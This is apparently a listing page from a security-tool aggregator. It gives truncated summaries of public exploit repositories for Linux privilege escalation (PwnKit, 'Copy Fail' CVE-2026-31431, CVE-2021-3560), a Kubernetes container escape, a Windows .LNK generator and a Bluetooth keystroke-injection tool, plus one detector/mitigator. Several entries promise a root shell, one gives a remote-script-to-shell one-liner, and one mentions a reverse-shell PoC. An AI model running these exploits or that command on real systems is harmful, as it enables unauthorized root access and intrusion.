Copy-Fail_Detect_and_mitigate_CVE-2026-31431

Copy Fail - CVE-2026-31431 Detector and Mitigator Detect exposure to CVE-2026-31431 Copy Fail and optionally apply a host-level mitigation by disabling the algifaead kernel module on vulnerable systems. What this repo provides copyfail-check.sh — checks kernel patch status, runtime module exposur...

berdav-CVE-2021-4034

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here PoC If the exploit is working you'll get a root shell immediately: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$...

CVE-2021-4034

CVE-2021-4034 polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by my Qualys team here PoC If the exploit is working you'll get a root shell immediately: root@kitploit: kali@user:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o...

PwnKit-Vulnerability_CVE-2021-4034

PwnKit Vulnerability - Local Privilege Escalation Title: PwnKit Vulnerability - Local Privilege Escalation Target: Linux Category: Execution Credits: Qualys Research Team Description The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program...

copyfail

Copy Fail - CVE-2026-31431 PoC in C Local privilege escalation exploit for CVE-2026-31431 Copy Fail, written in C. How It Works 1. ELF parsing : resolves /usr/bin/su's entry point virtual address to a file offset via PTLOAD program headers 2. AFALG setup : binds to authencesnhmacsha256,cbcaes wit...

CVE-2021-4034

usage: sh poc.sh...

CVE-2026-31431-live-code-corruption

CVE-2026-31431 — Live Code Corruption via Page Cache A novel exploitation technique for CVE-2026-31431 "Copy Fail" that corrupts executable code of running processes through the Linux kernel's page cache, achieving root privilege escalation. What's Different All published exploits for this CVE...

Dirty-Frag-Kubernetes-PoC

Dirty Frag CVE-2026-43284 — Kubernetes Container Escape PoC A proof-of-concept demonstrating how a default, unprivileged Kubernetes Pod can achieve node-level code execution on Amazon EKS by exploiting the Dirty Frag Linux kernel page-cache corruption vulnerability through shared container image...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

ez-pwnkit

ez-pwnkit A pure-Go implementation of the CVE-2021-4034 PwnKit exploit. The exploit use syscall.ForkExec to survive end of main program. Installation root@kitploit: git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make As the exploit relies on a malicious shared library, a PWN.so...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1:just prints root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell root@kitploit: include include include include char serverip=""; uint32t...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Copy Fail CVE-2026-31431 PoC and payload examples. Technical Writeup: https://xint.io/blog/copy-fail-linux-distributions Affected Linux Distributions Distro| Kernel Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1|...

Demo_CVE-2025-3248

DemoCVE-2025-3248 — Educational PoC Purpose: Simulate the vulnerability CVE-2025-3248 in an isolated environment for information security learning: build a lab, observe exploitable behavior, and discuss mitigation measures. ⚠️ LEGAL & ETHICAL DISCLAIMER ETHICAL USE ONLY All content in this...

CVE-2024-56433

CVE-2024-56433 shadow-utils - Insecure default subordinate ID assignment for local users Summary The default subordinate ID assignment creates risk for collision with existing user ID's, creating potential for arbitrarily changing UID/GID and gaining unauthorized access to data and network...

copy-fail

Copy Fail PoC English Python PoC for CVE-2026-31431 , intended for controlled laboratory testing on authorized Linux systems. For use only in your own environments, labs, or systems where you have explicit permission. Do not run this code against third-party systems. Description copy-fail.py chec...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail Linux kernel local privilege escalation via AFALG + splice page-cache overwrite For authorized security research, penetration testing, and educational purposes only. Do not use against systems you do not own or have explicit written permission to test. Technical Writeup...

Polkit-s-Pkexec-CVE-2021-4034

CVE-2021-4034 Polkit's Pkexec CVE-2021-4034 Proof Of Concept and Patching Confirmed on fully patched Ubuntu 21.10 PoC Patching https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 Confirmed on...

copy-fail_LPE_Interactive

CVE-2026-31431 Copy Fail Exploit Linux kernel page cache poisoning exploit tool with support for non-interactive command execution. Vulnerability Overview CVE-2026-31431 is a logic flaw in the Linux kernel, present in the authesn AEAD algorithm implementation. Through the AFALG and splice system...

EpSiLoNPoInTlnk

README EpSiLoNPoInTlnk CVE-2026-21510 - .LNK 생성기 CVE-2026-21510Windows ShellLink 원격 코드 실행 취약점을 활용하는 .lnk 파일 생성 도구. 공격적 보안 연구, 승인된 침투 테스트, 취약점 분석을 위해 설계되었습니다. 법적 고지 ⚠️ 이 도구는 합법적이고 승인된 용도로만 사용하도록 제작되었습니다. 시스템 또는 네트워크에 대한 무단 사용은 현지 및 국제 법률예: Computer Fraud and Abuse ActCFAA, GDPR, 프랑스의 Godfrain 법을 위반...

BluetoothDucky

BluetoothDucky CVE-2023-45866 - BluetoothDucky implementation Using DuckyScript Unauthenticated bluetooth remote code execution. In short, run keyboard commands without pairing with their device This is an implementation of the CVE discovered by marcnewlin...